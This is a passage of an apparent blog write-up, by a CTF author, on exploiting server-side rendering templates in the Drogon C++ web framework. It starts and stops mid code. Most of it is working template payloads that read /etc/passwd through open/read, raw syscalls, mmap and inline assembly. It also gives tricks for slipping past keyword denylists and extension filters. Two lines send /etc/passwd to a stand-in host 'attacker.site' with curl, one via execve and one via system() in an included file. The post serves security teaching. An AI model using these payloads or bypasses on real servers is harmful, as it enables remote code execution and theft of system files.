    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    $$ &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;file-read-write-rce-with-syscall&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#file-read-write-rce-with-syscall&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; File Read/Write, RCE with &lt;code&gt;syscall&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;We can go one level deeper using the &lt;code&gt;syscall()&lt;/code&gt; function. This allows us to call the usual &lt;code&gt;open&lt;/code&gt;, &lt;code&gt;read&lt;/code&gt;, &lt;code&gt;write&lt;/code&gt;, &lt;code&gt;execve&lt;/code&gt; syscalls, albeit less readably.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;       &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;//  read(      open(      &quot;/etc/passwd&quot;, O_RDONLY), buffer, 99);&lt;/span&gt;
    $$ &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Thanks to syscall 59, we can also run &lt;code&gt;execve&lt;/code&gt; to achieve RCE.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&quot;/usr/bin/curl&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&quot;http://attacker.site&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&quot;--data&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&quot;@/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token constant&quot;&gt;NULL&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;59&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/usr/bin/curl&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; argv&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Handy Reference: &lt;a href=&quot;https://filippo.io/linux-syscall-table/&quot;&gt;Linux x86 Syscalls - filippo.io&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;file-read-with-mmap&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#file-read-with-mmap&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; File Read with &lt;code&gt;mmap&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;After opening and creating a file descriptor via &lt;code&gt;open&lt;/code&gt; or &lt;code&gt;syscall(2, ...)&lt;/code&gt;, we can also use &lt;code&gt;mmap&lt;/code&gt; to perform a read instead of the usual &lt;code&gt;read&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;sys/mman.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;
    $$ &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;mmap&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// mmap(addr, length, memory_protection, flags, fd, offset)&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;file-read-write-rce-via-inline-assembly&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#file-read-write-rce-via-inline-assembly&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; File Read/Write, RCE via Inline Assembly&lt;/h4&gt;
&lt;p&gt;Pretty much any syscall in C can be translated to assembly, and GCC&#39;s extended assembly makes it convenient to pass input and output.&lt;/p&gt;
&lt;p&gt;The following CSP opens and reads &lt;code&gt;/etc/passwd&lt;/code&gt; into a buffer, then outputs it. This is equivalent to the open-read idiom we used above.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; file&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;asm&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token raw-string string&quot;&gt;R&quot;(
        mov $2, %%rax;
        lea (%0), %%rdi;
        mov $0, %%rsi;
        syscall;
        
        mov %%rax, %%rdi;
        mov $0, %%rax;
        lea (%1), %%rsi;
        mov $255, %%rdx;
        syscall
    )&quot;&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;b&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; file &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;d&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; buffer &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    $$ &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;&amp;quot;b&amp;quot; ( file )&lt;/code&gt; and &lt;code&gt;&amp;quot;d&amp;quot; ( buffer )&lt;/code&gt; are inputs to our asm procedure. The letters &lt;code&gt;b&lt;/code&gt; and &lt;code&gt;d&lt;/code&gt; refer to the &lt;code&gt;%rbx&lt;/code&gt; and &lt;code&gt;%rdx&lt;/code&gt; register. I chose these registers specifically to avoid conflicts. (&lt;code&gt;%rax&lt;/code&gt; gets written with &lt;code&gt;2&lt;/code&gt; on the first line, &lt;code&gt;%rcx&lt;/code&gt; gets overwritten by the first syscall.)&lt;/p&gt;
&lt;p&gt;Exercises for the reader:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Try to figure out how the assembly maps to the C syscalls in the previous sections.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;buffer&lt;/code&gt; is technically an output, so why do we treat it as an input?&lt;/li&gt;
&lt;li&gt;Demonstrate RCE by using the execve syscall.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Blocking the keyword &lt;code&gt;syscall&lt;/code&gt; will not work here. We can bypass it with a simple &lt;code&gt;sys&amp;quot; &amp;quot;call&lt;/code&gt;, since adjacent strings are concatenated in C/C++ (&lt;code&gt;&amp;quot;a&amp;quot; &amp;quot;b&amp;quot; == &amp;quot;ab&amp;quot;&lt;/code&gt;). To properly block such calls, we would need to block the functions invoking inline assembly, such as &lt;code&gt;asm&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Handy Reference: &lt;a href=&quot;https://web.archive.org/web/20250215062230/https://www.codeproject.com/Articles/15971/Using-Inline-Assembly-in-C-C&quot;&gt;Using Inline Assembly in C/C++&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;local-file-inclusion-with-include&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#local-file-inclusion-with-include&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Local File Inclusion with  &lt;code&gt;#include&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Filters applied to a set of file extensions can be easily bypassed by uploading a file with an unfiltered extension, then &lt;code&gt;#include&lt;/code&gt;-ing it in the CSP. All &lt;code&gt;#include&lt;/code&gt; really does is copy-paste the included file&#39;s content, which then gets compiled as C/C++ code.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Example.csp - with stringent checks on denied words.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Example.csp&quot; class=&quot;language-csp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-csp&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;inc #include &lt;span class=&quot;token string&quot;&gt;&quot;safe.txt&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Example.csp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++ Server Pages&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;safe.txt - other C++ code which gets a free pass, possibly using a technique above.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;safe.txt&quot; class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token function&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;curl http://attacker.site --data @/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;safe.txt&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This allows us to bypass situations where, say, .csp files are strictly checked, but certain extensions are not checked at all.&lt;/p&gt;
&lt;p&gt;I&#39;ll admit this one slipped my mind; quite a few players discovered this unintended solution during the CTF.&lt;/p&gt;
&lt;h4 id=&quot;bypass-denylists-with-macro-token-concatenation&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#bypass-denylists-with-macro-token-concatenation&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Bypass Denylists with Macro Token Concatenation (&lt;code&gt;##&lt;/code&gt;)&lt;/h4&gt;
&lt;p&gt;C/C++ macros have some quirky features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#&lt;/code&gt;: Converts a macro argument&#39;s value to a string.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name function&quot;&gt;STR&lt;/span&gt;&lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;X&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; #X&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// STR(abc) == &quot;abc&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;##&lt;/code&gt;: Joins two arguments.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name function&quot;&gt;GLUE&lt;/span&gt;&lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;X&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Y&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; X &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;Y&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;GLUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; out&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;hello world!&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;GLUE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ndl&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// cout &amp;lt;&amp;lt; &quot;hello world!&quot; &amp;lt;&amp;lt; endl;&lt;/span&gt;

&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name function&quot;&gt;GLUE2&lt;/span&gt;&lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;X&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; X &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; &lt;span class=&quot;token expression&quot;&gt;_literally&lt;/span&gt;&lt;/span&gt;
